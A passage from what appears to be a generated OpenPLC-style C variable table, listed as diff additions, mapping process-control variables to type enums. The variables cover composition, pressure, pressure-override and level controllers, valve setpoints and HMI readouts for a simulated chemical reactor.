+{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.B_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.C_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.HMI_PRESSURE), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_LEVEL), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.SCAN_COUNT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_K), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX), REAL_ENUM}, 